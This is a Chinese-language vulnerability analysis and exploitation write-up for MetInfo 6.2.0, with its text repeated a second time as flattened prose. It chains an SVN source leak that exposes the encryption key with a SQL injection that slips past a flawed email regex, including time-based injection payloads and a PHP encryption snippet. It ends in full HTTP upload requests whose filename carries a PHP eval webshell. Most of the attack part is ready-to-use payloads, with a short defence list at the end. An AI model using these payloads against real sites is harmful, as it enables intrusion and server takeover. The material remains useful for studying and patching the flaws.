某info 6.2.0正则匹配不严谨导致注入+getshell组合拳
字数 1520 2025-08-26 22:11:15

MetInfo 6.2.0 安全漏洞分析与利用

漏洞概述

MetInfo 6.2.0 存在多个安全漏洞,包括:

  1. 正则匹配不严谨导致的SQL注入漏洞
  2. 文件上传与反序列化组合导致的远程代码执行漏洞
  3. SVN信息泄露漏洞

这些漏洞可以组合利用,最终实现服务器权限获取。

漏洞分析

1. SVN信息泄露

影响版本:SVN版本>1.7时,传统工具可能无法dump源码

利用方法

关键点

  • 该key用于账户信息的加解密
  • 加密算法位于app/system/include/class/auth.class.php
  • key定义在config/config.inc.php:109

2. 正则匹配导致的SQL注入

漏洞位置app/system/user/web/getpassword.class.phpdovalid()方法

漏洞成因

  1. $email = $auth->decode($_M['form']['p'])直接解密参数,未过滤
  2. is_email()函数正则表达式缺少起始符^
    • 正则表达式:/[\w-]+@[\w-]+\.[a-zA-Z\.]*[a-zA-Z]$/
  3. 构造如' and 1=1-- 1@qq.com的payload可通过验证

利用步骤

  1. 使用获取的key加密payload
    <?php
    // 使用获取的key加密payload
    print_r(urlencode(authcode($_GET['p'],'ENCODE','获取的key','0')));
    
  2. 发送加密后的payload到dovalid接口

延时注入示例

' and if(1=1,sleep(5),1)-- 123@qq.com

3. 文件上传与反序列化组合漏洞

漏洞位置app/system/include/class/web.class.php__destruct()方法

漏洞链

  1. 通过注入获取$_M['config']['met_member_force']
  2. 控制$_M['form']['html_filename']$_M['form']['metinfonow']
  3. 利用file_put_contents(PATH_WEB.$filename, $output)写入文件
  4. $output来自ob_get_contents()获取的缓冲区数据

两种利用方式

方式一:超出文件大小getshell

利用条件

  • 上传文件超过后台设置的最大大小(默认8MB)

利用步骤

  1. 通过注入修改后台文件大小限制为较小值(如0.0008MB)
  2. 构造上传请求,控制文件名包含恶意代码

Payload示例

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php eval($_POST[1]);?>"
Content-Type: image/jpeg

[超过限制大小的文件内容]
------WebKitFormBoundary8tQiXReYsQYXHadW--

方式二:无后缀文件getshell(6.1.3及以下版本)

漏洞位置app/system/include/class/upfile.class.phpgetext()方法

修复情况

  • 6.2.0版本已修复,增加了正则检查:preg_match("/^[0-9a-zA-Z]+$/u", $ext)

Payload示例

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--

完整利用链

  1. 发现SVN泄露,获取加密key
  2. 利用key加密SQL注入payload
  3. 通过注入获取met_member_force
  4. 利用文件上传漏洞写入webshell

防御建议

  1. 禁用或保护SVN目录访问
  2. 完善邮箱验证正则表达式,添加起始符^
  3. 对所有用户输入进行严格过滤,包括解密后的参数
  4. 更新到最新版本,修复已知漏洞
  5. 限制文件上传大小和类型,加强后缀检查

参考链接

  1. https://nosec.org/home/detail/2436.html
  2. https://xz.aliyun.com/t/4425
MetInfo 6.2.0 安全漏洞分析与利用 漏洞概述 MetInfo 6.2.0 存在多个安全漏洞,包括: 正则匹配不严谨导致的SQL注入漏洞 文件上传与反序列化组合导致的远程代码执行漏洞 SVN信息泄露漏洞 这些漏洞可以组合利用,最终实现服务器权限获取。 漏洞分析 1. SVN信息泄露 影响版本 :SVN版本>1.7时,传统工具可能无法dump源码 利用方法 : 检查目标是否存在 /.svn/ 目录 使用 @admintony的svnExploit工具 获取源码 重点查找 config/config_safe.php 文件中的加密key 关键点 : 该key用于账户信息的加解密 加密算法位于 app/system/include/class/auth.class.php key定义在 config/config.inc.php:109 2. 正则匹配导致的SQL注入 漏洞位置 : app/system/user/web/getpassword.class.php 的 dovalid() 方法 漏洞成因 : $email = $auth->decode($_M['form']['p']) 直接解密参数,未过滤 is_email() 函数正则表达式缺少起始符 ^ 正则表达式: /[\w-]+@[\w-]+\.[a-zA-Z\.]*[a-zA-Z]$/ 构造如 ' and 1=1-- 1@qq.com 的payload可通过验证 利用步骤 : 使用获取的key加密payload 发送加密后的payload到 dovalid 接口 延时注入示例 : 3. 文件上传与反序列化组合漏洞 漏洞位置 : app/system/include/class/web.class.php 的 __destruct() 方法 漏洞链 : 通过注入获取 $_M['config']['met_member_force'] 值 控制 $_M['form']['html_filename'] 和 $_M['form']['metinfonow'] 利用 file_put_contents(PATH_WEB.$filename, $output) 写入文件 $output 来自 ob_get_contents() 获取的缓冲区数据 两种利用方式 : 方式一:超出文件大小getshell 利用条件 : 上传文件超过后台设置的最大大小(默认8MB) 利用步骤 : 通过注入修改后台文件大小限制为较小值(如0.0008MB) 构造上传请求,控制文件名包含恶意代码 Payload示例 : 方式二:无后缀文件getshell(6.1.3及以下版本) 漏洞位置 : app/system/include/class/upfile.class.php 的 getext() 方法 修复情况 : 6.2.0版本已修复,增加了正则检查: preg_match("/^[0-9a-zA-Z]+$/u", $ext) Payload示例 : 完整利用链 发现SVN泄露,获取加密key 利用key加密SQL注入payload 通过注入获取 met_member_force 值 利用文件上传漏洞写入webshell 防御建议 禁用或保护SVN目录访问 完善邮箱验证正则表达式,添加起始符 ^ 对所有用户输入进行严格过滤,包括解密后的参数 更新到最新版本,修复已知漏洞 限制文件上传大小和类型,加强后缀检查 参考链接 https://nosec.org/home/detail/2436.html https://xz.aliyun.com/t/4425